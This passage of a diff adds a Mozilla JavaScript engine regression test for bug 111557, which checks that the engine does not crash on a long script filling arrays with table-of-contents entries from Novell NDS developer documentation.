--- /dev/null
+++ b/js/src/tests/non262/regress/regress-111557.js
@@ -0,0 +1,10931 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 Nov 2001
+ * SUMMARY: JS should not crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=111557
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 111557;
+var summary = "Just seeing that we don't crash on this code -";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+/*
+ * NOTE: have defined |top| as |this| to make this a standalone JS shell test.
+ * This came from the HTML of a frame, where |top| would have its DOM meaning.
+ */
+var top = this;
+
+top.authors = new Array();
+top.titles = new Array();
+var i = 0;
+
+
+top.authors[i] = "zPROD xA.5375.";
+top.titles[i] = "NDS Libraries for C";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0100.";
+top.titles[i] = "NDS Backup Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0001.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0001.";
+top.titles[i] = "NDSBackupServerData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0002.";
+top.titles[i] = "NDSFreeNameList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0003.";
+top.titles[i] = "NDSGetReplicaPartitionNames";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0004.";
+top.titles[i] = "NDSIsOnlyServerInTree";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0005.";
+top.titles[i] = "NDSSYSVolumeRecovery";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0006.";
+top.titles[i] = "NDSVerifyServerInfo";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0002.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0002.0001.";
+top.titles[i] = "NAMEID_TYPE";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0003.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0003.0001.";
+top.titles[i] = "NDS Reason Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0003.0002.";
+top.titles[i] = "NDS Server Flags";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0100.0004.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0300.";
+top.titles[i] = "NDS Event Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0001.";
+top.titles[i] = "Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0001.";
+top.titles[i] = "NDS Event Introduction";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0002.";
+top.titles[i] = "NDS Event Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0003.";
+top.titles[i] = "NDS Event Priorities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0004.";
+top.titles[i] = "NDS Event Data Filtering";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0005.";
+top.titles[i] = "NDS Event Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0006.";
+top.titles[i] = "Global Network Monitoring";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0001.";
+top.titles[i] = "Monitoring NDS Events";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0002.";
+top.titles[i] = "Registering for NDS Events";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0003.";
+top.titles[i] = "Unregistering for NDS Events";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0001.";
+top.titles[i] = "NWDSEConvertEntryName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0002.";
+top.titles[i] = "NWDSEGetLocalAttrID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0003.";
+top.titles[i] = "NWDSEGetLocalAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0004.";
+top.titles[i] = "NWDSEGetLocalClassID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0005.";
+top.titles[i] = "NWDSEGetLocalClassName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0006.";
+top.titles[i] = "NWDSEGetLocalEntryID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0007.";
+top.titles[i] = "NWDSEGetLocalEntryName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0008.";
+top.titles[i] = "NWDSERegisterForEvent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0009.";
+top.titles[i] = "NWDSERegisterForEventWithResult";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0010.";
+top.titles[i] = "NWDSEUnRegisterForEvent";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0004.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0001.";
+top.titles[i] = "DSEACL";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0002.";
+top.titles[i] = "DSEBackLink";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0003.";
+top.titles[i] = "DSEBinderyObjectInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0004.";
+top.titles[i] = "DSEBitString";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0005.";
+top.titles[i] = "DSEChangeConnState";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0006.";
+top.titles[i] = "DSECIList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0007.";
+top.titles[i] = "DSEDebugInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0008.";
+top.titles[i] = "DSEEmailAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0009.";
+top.titles[i] = "DSEEntryInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0010.";
+top.titles[i] = "DSEEntryInfo2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0011.";
+top.titles[i] = "DSEEventData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0012.";
+top.titles[i] = "DSEFaxNumber";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0013.";
+top.titles[i] = "DSEHold";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0014.";
+top.titles[i] = "DSEModuleState";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0015.";
+top.titles[i] = "DSENetAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0016.";
+top.titles[i] = "DSEOctetList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0017.";
+top.titles[i] = "DSEPath";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0018.";
+top.titles[i] = "DSEReplicaPointer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0019.";
+top.titles[i] = "DSESEVInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0020.";
+top.titles[i] = "DSETimeStamp";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0021.";
+top.titles[i] = "DSETraceInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0022.";
+top.titles[i] = "DSETypedName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0023.";
+top.titles[i] = "DSEVALData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0024.";
+top.titles[i] = "DSEValueInfo";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0005.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0005.0001.";
+top.titles[i] = "Event Priorities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0005.0002.";
+top.titles[i] = "Event Types";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0300.0006.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0600.";
+top.titles[i] = "NDS Technical Overview";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0001.";
+top.titles[i] = "NDS as the Internet Directory";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0001.";
+top.titles[i] = "Requirements for Networks and the Internet";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0002.";
+top.titles[i] = "NDS Compliance to X.500 Standard";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0003.";
+top.titles[i] = "NDS Compliance with LDAP v3";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0004.";
+top.titles[i] = "Directory Access Protocols";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0005.";
+top.titles[i] = "Programming Interfaces for NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0006.";
+top.titles[i] = "NDS Architecture";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0002.";
+top.titles[i] = "NDS Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0001.";
+top.titles[i] = "NDS Names";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0002.";
+top.titles[i] = "Types of Information Stored in NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0003.";
+top.titles[i] = "Retrieval of Information from NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0004.";
+top.titles[i] = "Tree Walking";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0005.";
+top.titles[i] = "NDS Object Management";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0003.";
+top.titles[i] = "NDS Security";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0001.";
+top.titles[i] = "Authentication";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0002.";
+top.titles[i] = "Access Control Lists";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0003.";
+top.titles[i] = "Inheritance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0004.";
+top.titles[i] = "NetWare File System";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0004.";
+top.titles[i] = "Partitions and Replicas";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0001.";
+top.titles[i] = "Partitioning";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0002.";
+top.titles[i] = "Replication";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0003.";
+top.titles[i] = "Distributed Reference Management";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0004.";
+top.titles[i] = "Partition Operations";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0005.";
+top.titles[i] = "Synchronization";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0006.";
+top.titles[i] = "Background Processes";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0005.";
+top.titles[i] = "Bindery Services";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0001.";
+top.titles[i] = "NDS Bindery Context";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0002.";
+top.titles[i] = "Bindery Context Path";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0003.";
+top.titles[i] = "Bindery Context Eclipsing";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0004.";
+top.titles[i] = "NDS Bindery Objects";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0006.";
+top.titles[i] = "NDS Return Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0001.";
+top.titles[i] = "NDS Return Values from the Operating System";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0002.";
+top.titles[i] = "NDS Client Return Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0003.";
+top.titles[i] = "NDS Agent Return Values";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0007.";
+top.titles[i] = "Directory Services Trace Utilities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0001.";
+top.titles[i] = "Using the DSTrace NLM";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0002.";
+top.titles[i] = "Using Basic SET DSTrace Commands";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0003.";
+top.titles[i] = "Starting Background Processes with SET DSTrace";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0004.";
+top.titles[i] = "Tuning Background Processes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0005.";
+top.titles[i] = "Enabling DSTrace Messages with SET DSTrace";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0600.0008.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0200.";
+top.titles[i] = "NDS Core Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0001.";
+top.titles[i] = "Programming Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0001.";
+top.titles[i] = "Context Handles";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0002.";
+top.titles[i] = "Buffer Management";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0003.";
+top.titles[i] = "Read Requests for Object Information";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0004.";
+top.titles[i] = "Search Requests";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0005.";
+top.titles[i] = "Developing in a Loosely Consistent Environment";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0006.";
+top.titles[i] = "Add Object Requests";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0007.";
+top.titles[i] = "NDS Security and Applications";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0008.";
+top.titles[i] = "Authentication of Client Applications";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0009.";
+top.titles[i] = "Multiple Tree Support";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0010.";
+top.titles[i] = "Effective Rights Function";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0011.";
+top.titles[i] = "Partition Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0012.";
+top.titles[i] = "Replica Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0013.";
+top.titles[i] = "Read Requests for Schema Information";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0014.";
+top.titles[i] = "Schema Extension Requests";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0001.";
+top.titles[i] = "Context Handle Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0002.";
+top.titles[i] = "Buffer Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0003.";
+top.titles[i] = "Authentication and Connection Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0004.";
+top.titles[i] = "Object Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0005.";
+top.titles[i] = "Partition and Replica Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0006.";
+top.titles[i] = "Schema Tasks";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0001.";
+top.titles[i] = "NWDSAbbreviateName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0002.";
+top.titles[i] = "NWDSAbortPartitionOperation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0003.";
+top.titles[i] = "NWDSAddFilterToken";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0004.";
+top.titles[i] = "NWDSAddObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0005.";
+top.titles[i] = "NWDSAddPartition (obsolete&#45;&#45;&#45;moved from .h file 11/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0006.";
+top.titles[i] = "NWDSAddReplica";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0007.";
+top.titles[i] = "NWDSAddSecurityEquiv";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0008.";
+top.titles[i] = "NWDSAllocBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0009.";
+top.titles[i] = "NWDSAllocFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0010.";
+top.titles[i] = "NWDSAuditGetObjectID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0011.";
+top.titles[i] = "NWDSAuthenticate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0012.";
+top.titles[i] = "NWDSAuthenticateConn";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0013.";
+top.titles[i] = "NWDSAuthenticateConnEx";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0014.";
+top.titles[i] = "NWDSBackupObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0015.";
+top.titles[i] = "NWDSBeginClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0016.";
+top.titles[i] = "NWDSCanDSAuthenticate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0017.";
+top.titles[i] = "NWDSCanonicalizeName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0018.";
+top.titles[i] = "NWDSChangeObjectPassword";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0019.";
+top.titles[i] = "NWDSChangeReplicaType";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0020.";
+top.titles[i] = "NWDSCIStringsMatch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0021.";
+top.titles[i] = "NWDSCloseIteration";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0022.";
+top.titles[i] = "NWDSCompare";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0023.";
+top.titles[i] = "NWDSComputeAttrValSize";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0024.";
+top.titles[i] = "NWDSCreateContext (obsolete&#45;&#45;&#45;moved from .h file 6/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0025.";
+top.titles[i] = "NWDSCreateContextHandle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0026.";
+top.titles[i] = "NWDSDefineAttr";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0027.";
+top.titles[i] = "NWDSDefineClass";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0028.";
+top.titles[i] = "NWDSDelFilterToken";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0029.";
+top.titles[i] = "NWDSDuplicateContext (obsolete 03/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0030.";
+top.titles[i] = "NWDSDuplicateContextHandle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0031.";
+top.titles[i] = "NWDSExtSyncList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0032.";
+top.titles[i] = "NWDSExtSyncRead";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0033.";
+top.titles[i] = "NWDSExtSyncSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0034.";
+top.titles[i] = "NWDSFreeBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0035.";
+top.titles[i] = "NWDSFreeContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0036.";
+top.titles[i] = "NWDSFreeFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0037.";
+top.titles[i] = "NWDSGenerateObjectKeyPair";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0038.";
+top.titles[i] = "NWDSGetAttrCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0039.";
+top.titles[i] = "NWDSGetAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0040.";
+top.titles[i] = "NWDSGetAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0041.";
+top.titles[i] = "NWDSGetAttrVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0042.";
+top.titles[i] = "NWDSGetAttrValFlags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0043.";
+top.titles[i] = "NWDSGetAttrValModTime";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0044.";
+top.titles[i] = "NWDSGetBinderyContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0045.";
+top.titles[i] = "NWDSGetClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0046.";
+top.titles[i] = "NWDSGetClassDefCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0047.";
+top.titles[i] = "NWDSGetClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0048.";
+top.titles[i] = "NWDSGetClassItemCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0049.";
+top.titles[i] = "NWDSGetContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0050.";
+top.titles[i] = "NWDSGetCountByClassAndName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0051.";
+top.titles[i] = "NWDSGetCurrentUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0052.";
+top.titles[i] = "NWDSGetDefNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0053.";
+top.titles[i] = "NWDSGetDSIInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0054.";
+top.titles[i] = "NWDSGetDSVerInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0055.";
+top.titles[i] = "NWDSGetEffectiveRights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0056.";
+top.titles[i] = "NWDSGetMonitoredConnRef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0057.";
+top.titles[i] = "NWDSGetNDSInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0058.";
+top.titles[i] = "NWDSGetObjectCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0059.";
+top.titles[i] = "NWDSGetObjectHostServerAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0060.";
+top.titles[i] = "NWDSGetObjectName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0061.";
+top.titles[i] = "NWDSGetObjectNameAndInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0062.";
+top.titles[i] = "NWDSGetPartitionExtInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0063.";
+top.titles[i] = "NWDSGetPartitionExtInfoPtr";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0064.";
+top.titles[i] = "NWDSGetPartitionInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0065.";
+top.titles[i] = "NWDSGetPartitionRoot";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0066.";
+top.titles[i] = "NWDSGetServerAddresses (obsolete 3/98)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0067.";
+top.titles[i] = "NWDSGetServerAddresses2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0068.";
+top.titles[i] = "NWDSGetServerDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0069.";
+top.titles[i] = "NWDSGetServerName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0070.";
+top.titles[i] = "NWDSGetSyntaxCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0071.";
+top.titles[i] = "NWDSGetSyntaxDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0072.";
+top.titles[i] = "NWDSGetSyntaxID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0073.";
+top.titles[i] = "NWDSInitBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0074.";
+top.titles[i] = "NWDSInspectEntry";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0075.";
+top.titles[i] = "NWDSJoinPartitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0076.";
+top.titles[i] = "NWDSList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0077.";
+top.titles[i] = "NWDSListAttrsEffectiveRights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0078.";
+top.titles[i] = "NWDSListByClassAndName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0079.";
+top.titles[i] = "NWDSListContainableClasses";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0080.";
+top.titles[i] = "NWDSListContainers";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0081.";
+top.titles[i] = "NWDSListPartitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0082.";
+top.titles[i] = "NWDSListPartitionsExtInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0083.";
+top.titles[i] = "NWDSLogin";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0084.";
+top.titles[i] = "NWDSLoginAsServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0085.";
+top.titles[i] = "NWDSLogout";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0086.";
+top.titles[i] = "NWDSMapIDToName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0087.";
+top.titles[i] = "NWDSMapNameToID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0088.";
+top.titles[i] = "NWDSModifyClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0089.";
+top.titles[i] = "NWDSModifyDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0090.";
+top.titles[i] = "NWDSModifyObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0091.";
+top.titles[i] = "NWDSModifyRDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0092.";
+top.titles[i] = "NWDSMoveObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0093.";
+top.titles[i] = "NWDSMutateObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0094.";
+top.titles[i] = "NWDSOpenConnToNDSServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0095.";
+top.titles[i] = "NWDSOpenMonitoredConn";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0096.";
+top.titles[i] = "NWDSOpenStream";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0097.";
+top.titles[i] = "NWDSPartitionReceiveAllUpdates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0098.";
+top.titles[i] = "NWDSPartitionSendAllUpdates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0099.";
+top.titles[i] = "NWDSPutAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0100.";
+top.titles[i] = "NWDSPutAttrNameAndVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0101.";
+top.titles[i] = "NWDSPutAttrVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0102.";
+top.titles[i] = "NWDSPutChange";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0103.";
+top.titles[i] = "NWDSPutChangeAndVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0104.";
+top.titles[i] = "NWDSPutClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0105.";
+top.titles[i] = "NWDSPutClassName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0106.";
+top.titles[i] = "NWDSPutFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0107.";
+top.titles[i] = "NWDSPutSyntaxName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0108.";
+top.titles[i] = "NWDSRead";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0109.";
+top.titles[i] = "NWDSReadAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0110.";
+top.titles[i] = "NWDSReadClassDef";
